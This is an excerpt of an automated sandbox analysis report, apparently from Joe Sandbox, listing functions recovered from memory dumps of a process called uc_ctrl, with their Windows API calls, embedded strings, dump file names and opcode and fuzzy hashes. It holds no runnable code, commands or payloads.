                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: memchr$isdigit$localeconv
                                                                                              • String ID: -$0123456789abcdefABCDEF$Cw}3/
                                                                                              • API String ID: 1981154758-4049310046
                                                                                              • Opcode ID: 31fe9d3d859b3700a6303ca494a7dbaa3914c50173da86ab182d903848d0f31c
                                                                                              • Instruction ID: 49d0d8976b5d38e394756dafe307d4feabc0da07d6921e4d24db8d2df707de6a
                                                                                              • Opcode Fuzzy Hash: 31fe9d3d859b3700a6303ca494a7dbaa3914c50173da86ab182d903848d0f31c
                                                                                              • Instruction Fuzzy Hash: 94A1E170E046989FDB15CFA8D5883ADFBF5AF4A308F25446EE895E7741D630A903CB90
                                                                                              Function 6CFA6945 Relevance: 13.6, APIs: 9, Instructions: 79windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetPropW.USER32(?), ref: 6CFA696B
                                                                                              • GlobalLock.KERNEL32(00000000), ref: 6CFA6974
                                                                                              • SendMessageW.USER32(?,00000476,00000000,00000000), ref: 6CFA698F
                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 6CFA699A
                                                                                              • RemovePropW.USER32(?), ref: 6CFA69A9
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 6CFA69B4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$Prop$FreeLockMessageRemoveSendUnlock
                                                                                              • String ID:
                                                                                              • API String ID: 2391254433-0
                                                                                              • Opcode ID: 1d1f4407794291628c3034475d9f7101bbdba719d57828da2640c52700bacb89
                                                                                              • Instruction ID: 80fc611dbbd81996e4dd3120e229cc0ee0bdf7ea7b6a09f8c30c6f0b10fd667b
                                                                                              • Opcode Fuzzy Hash: 1d1f4407794291628c3034475d9f7101bbdba719d57828da2640c52700bacb89
                                                                                              • Instruction Fuzzy Hash: D221C271344201EBEB18AFB5CC08B16BB7DFF4E759F208029FA56E2961DB71D402CA65
                                                                                              Function 6CF9E966 Relevance: 12.1, APIs: 8, Instructions: 131fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF9E970
                                                                                              • GetFullPathNameW.KERNEL32(?,00000104,00000000,?,00000268,6CF9E236,?,?,00000000,?,6CFA19C3,00000024,?,?,?), ref: 6CF9E9A0
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              • PathIsUNCW.SHLWAPI(?,?,?,00000000,?,6CFA19C3,00000024,?,?,?), ref: 6CF9EA18
                                                                                              • GetVolumeInformationW.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,6CFA19C3,00000024,?,?,?), ref: 6CF9EA3C
                                                                                              • CharUpperW.USER32(?,?,6CFA19C3,00000024,?,?,?), ref: 6CF9EA6A
                                                                                              • FindFirstFileW.KERNEL32(?,?,?,6CFA19C3,00000024,?,?,?), ref: 6CF9EA82
                                                                                              • FindClose.KERNEL32(00000000,?,6CFA19C3,00000024,?,?,?), ref: 6CF9EA8E
                                                                                              • _wcslen.LIBCMT ref: 6CF9EAAD
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: FindPath$CharCloseException@8FileFirstFullH_prolog3_InformationNameThrowUpperVolume_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 3015096244-0
                                                                                              • Opcode ID: 671a39bd1f5db519fd22eaa84531342494678a41e21cbe41676d9d8a9143599d
                                                                                              • Instruction ID: f679c004e06e1eeee09259fe30068c3714865aac1b6c910a64cbdad33eedaa92
                                                                                              • Opcode Fuzzy Hash: 671a39bd1f5db519fd22eaa84531342494678a41e21cbe41676d9d8a9143599d
                                                                                              • Instruction Fuzzy Hash: 0141A471905615AFFF14EB64CC88FEEB37DBF01318F140699E81992650EB319E888AA1
                                                                                              Function 6CFA6E75 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 194comCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CFA6E7F
                                                                                              • GetVersionExW.KERNEL32(00000114), ref: 6CFA6F07
                                                                                              • _wcschr.LIBVCRUNTIME ref: 6CFA7067
                                                                                              • CoInitializeEx.OLE32(00000000,00000002), ref: 6CFA7091
                                                                                              • CoCreateInstance.OLE32(6D11FE2C,00000000,00000001,6D0F81E4,?), ref: 6CFA70D8
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CreateH_prolog3_InitializeInstanceVersion_wcschr
                                                                                              • String ID: @
                                                                                              • API String ID: 2940554968-2766056989
                                                                                              • Opcode ID: a2c0b123e697660acc0c6a28d2591a7d032129156d2d5236fe056d36c2ef65b6
                                                                                              • Instruction ID: 16f62679c94d64cabcd75a4ae13e3ec56730810dc91495752bd8828bff999bdf
                                                                                              • Opcode Fuzzy Hash: a2c0b123e697660acc0c6a28d2591a7d032129156d2d5236fe056d36c2ef65b6
                                                                                              • Instruction Fuzzy Hash: 408148B1A05706EFE758CF69C844BDAF7B4BF09314F01825AE95897380DB30A955CF92
                                                                                              Function 00103840 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 190processCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0010388C
                                                                                                • Part of subcall function 001064F0: GetProcessHeap.KERNEL32(00000000), ref: 00106531
                                                                                                • Part of subcall function 00104CB0: FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,00102370,00000000,?,00000000,?,00104BE1,00102370,?,?,00000000,00000000), ref: 00104CF6
                                                                                              • Process32FirstW.KERNEL32(00000000,?), ref: 001038FC
                                                                                              • _wcslwr_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 001039A3
                                                                                              • wcsstr.VCRUNTIME140(?,000000FF), ref: 001039C9
                                                                                              • Process32NextW.KERNEL32(?,0000022C), ref: 00103A25
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Process32$CreateFindFirstHeapNextProcessResourceSnapshotToolhelp32_wcslwr_swcsstr
                                                                                              • String ID: ucaas.exe
                                                                                              • API String ID: 646775109-2257421106
                                                                                              • Opcode ID: 62b417dea1d866aa2263afbd57a7b72a759488ffa8c0a00a900c96e378140148
                                                                                              • Instruction ID: 33e2e9c810327edf1814c815624508955e1baca6e7f4d4f3236bf019df8d4dd3
                                                                                              • Opcode Fuzzy Hash: 62b417dea1d866aa2263afbd57a7b72a759488ffa8c0a00a900c96e378140148
                                                                                              • Instruction Fuzzy Hash: D9619571A00609DBDB10DF68CD49BAEB7B8EF04311F1442A9E995E72D1DBB09E44CF51
                                                                                              Function 6CEE6810 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 6CEE6877
                                                                                              • _Read_dir.MSVCP140(?,00000000,?), ref: 6CEE68BE
                                                                                              • FindClose.KERNEL32(00000000), ref: 6CEE68CE
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Find$CloseFileFirstRead_dir
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 922297604-738913995
                                                                                              • Opcode ID: f31954aaa02ac5600b995ff2cdedf2967a625328371d9bb7d7e34d58181858d9
                                                                                              • Instruction ID: 4b886c72e865ba7767112de45dab19936c86f308893b93be19a1691144816715
                                                                                              • Opcode Fuzzy Hash: f31954aaa02ac5600b995ff2cdedf2967a625328371d9bb7d7e34d58181858d9
                                                                                              • Instruction Fuzzy Hash: A131D3716083049FC710DFA4C844AABB3F8EFC9368F108A2DF65587680E7789948C7A6
                                                                                              Function 6CF999B8 Relevance: 6.0, APIs: 4, Instructions: 38keyboardwindowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF9D632: GetWindowLongW.USER32(?,000000F0), ref: 6CF9D63F
                                                                                              • GetKeyState.USER32(00000010), ref: 6CF999D5
                                                                                              • GetKeyState.USER32(00000011), ref: 6CF999E2
                                                                                              • GetKeyState.USER32(00000012), ref: 6CF999EF
                                                                                              • SendMessageW.USER32(?,00000111,0000E146,00000000), ref: 6CF99A09
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: State$LongMessageSendWindow
                                                                                              • String ID:
                                                                                              • API String ID: 1063413437-0
                                                                                              • Opcode ID: 7baad4b972656300d4b2ddddedef52b499182f1f21d119cd0dda61ad6c04ed26
                                                                                              • Instruction ID: 5532d516fae254fcb998ec6e6df0501d3474a11b01c195964215c393b7880dd9
                                                                                              • Opcode Fuzzy Hash: 7baad4b972656300d4b2ddddedef52b499182f1f21d119cd0dda61ad6c04ed26
                                                                                              • Instruction Fuzzy Hash: 57F0BE313812065FFF387B399C05BA9A5B4EB4EB9CF120424AA8AF95D0CF90890152B1
                                                                                              Function 00106290 Relevance: 4.5, APIs: 3, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LoadResource.KERNEL32(00000000,00000000,00000001,00000000,?,?,00104D0C,00102370,?,00000000,00000000,00102370,00000000,?,00000000), ref: 0010629C
                                                                                              • LockResource.KERNEL32(00000000,?,?,00104D0C,00102370,?,00000000,00000000,00102370,00000000,?,00000000,?,00104BE1,00102370), ref: 001062A7
                                                                                              • SizeofResource.KERNEL32(00000000,00000000,?,?,00104D0C,00102370,?,00000000,00000000,00102370,00000000,?,00000000,?,00104BE1,00102370), ref: 001062B5
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Resource$LoadLockSizeof
                                                                                              • String ID:
                                                                                              • API String ID: 2853612939-0
                                                                                              • Opcode ID: 915dd6dd111533dbb1c44c185f43e3474270e3e8a52a9d0fd7883934e691be89
                                                                                              • Instruction ID: 7c13cb30e7918e6041d27c3fb96bf456eff304ddb02b975b1984d7fc570fd1c0
                                                                                              • Opcode Fuzzy Hash: 915dd6dd111533dbb1c44c185f43e3474270e3e8a52a9d0fd7883934e691be89
                                                                                              • Instruction Fuzzy Hash: 84F0C272A0022957CB302A99AC48877B79CEF91725305093FF9C9D3194EBE5DC908294
                                                                                              Function 6D0D26D3 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetCurrentProcess.KERNEL32(?,?,6D0D26A9,?,6D1916A0,0000000C,6D0D27DC,00000000,00000000,00000001,6D0C19F9,6D191390,0000000C,6D0C18A2,?), ref: 6D0D26F4
                                                                                              • TerminateProcess.KERNEL32(00000000,?,6D0D26A9,?,6D1916A0,0000000C,6D0D27DC,00000000,00000000,00000001,6D0C19F9,6D191390,0000000C,6D0C18A2,?), ref: 6D0D26FB
                                                                                              • ExitProcess.KERNEL32 ref: 6D0D270D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Process$CurrentExitTerminate
                                                                                              • String ID:
                                                                                              • API String ID: 1703294689-0
                                                                                              • Opcode ID: 6f9db4a1b472174e7b9986caa1798cd57b1d0ac1dd92d71f87e20035331d0009
                                                                                              • Instruction ID: e584f27b605d460cfd5a6f5dc196da9f7cb3028d4635f9a119402974a527ca86
                                                                                              • Opcode Fuzzy Hash: 6f9db4a1b472174e7b9986caa1798cd57b1d0ac1dd92d71f87e20035331d0009
                                                                                              • Instruction Fuzzy Hash: 63E04631008208ABDFA16F24CA48B9C3BB9FF4A3A5B204015FD048B021CB36E882CB80
                                                                                              Function 6CEE6CA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,6CED5630,?), ref: 6CEE6D43
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: DiskFreeSpace
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 1705453755-738913995
                                                                                              • Opcode ID: 4373c68e31086b005c0f292a1ef741de8c40cf5cd978211634c6f0e999999aa9
                                                                                              • Instruction ID: c4260824f37e73e550ac1ac6e65187c96a2b87ed902abfc21296f4e0d3cfcd20
                                                                                              • Opcode Fuzzy Hash: 4373c68e31086b005c0f292a1ef741de8c40cf5cd978211634c6f0e999999aa9
                                                                                              • Instruction Fuzzy Hash: 1231E3716083059FC744DF18C481A9BBBF4FB88354F60891DF9AA97790D770E9488B92
                                                                                              Function 6CF82940 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MessageBoxA.USER32(00000000,?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ,00000000,00000000), ref: 6CF8294B
                                                                                              Strings
                                                                                              • ?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ, xrefs: 6CF82944
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message
                                                                                              • String ID: ?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ
                                                                                              • API String ID: 2030045667-165758850
                                                                                              • Opcode ID: 7965c9abf0dd9e883f37149cb9c804fdad3116b1faeac20793c9765561f16a4e
                                                                                              • Instruction ID: fb8fe303167c1f9d449686f03e8d08fe70bef9b5ec3cd5d676a5308bf5bcdb60
                                                                                              • Opcode Fuzzy Hash: 7965c9abf0dd9e883f37149cb9c804fdad3116b1faeac20793c9765561f16a4e
                                                                                              • Instruction Fuzzy Hash: 70B00230389744EEEA541F55AD0BF143570E705B56F205055F6156C1C547F454508555
                                                                                              Function 6CF78200 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MessageBoxA.USER32(00000000,?Download@CWebBrowserUI@UiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z,00000000,00000000), ref: 6CF7820B
                                                                                              Strings
                                                                                              • ?Download@CWebBrowserUI@UiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z, xrefs: 6CF78204
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message
                                                                                              • String ID: ?Download@CWebBrowserUI@UiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z
                                                                                              • API String ID: 2030045667-2577653666
                                                                                              • Opcode ID: 92845904115e298e7d3106c7d84eec0dc1f253a36c6ba22301d9e181f07d2a00
                                                                                              • Instruction ID: 5648b689759fe920982ae5e6835f57ce2878c99f8e0fef6ebf55f21d5a2837c1
                                                                                              • Opcode Fuzzy Hash: 92845904115e298e7d3106c7d84eec0dc1f253a36c6ba22301d9e181f07d2a00
                                                                                              • Instruction Fuzzy Hash: 89B0027028C204E6F9541F545C1FF143931B705B52F605454F6156C1C547F875104A19
                                                                                              Function 6CF79FA0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MessageBoxA.USER32(00000000,?GetClipboardData@COleObject@UiLib@@UAGJKPAPAUIDataObject@@@Z,00000000,00000000), ref: 6CF79FAB
                                                                                              Strings
                                                                                              • ?GetClipboardData@COleObject@UiLib@@UAGJKPAPAUIDataObject@@@Z, xrefs: 6CF79FA4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
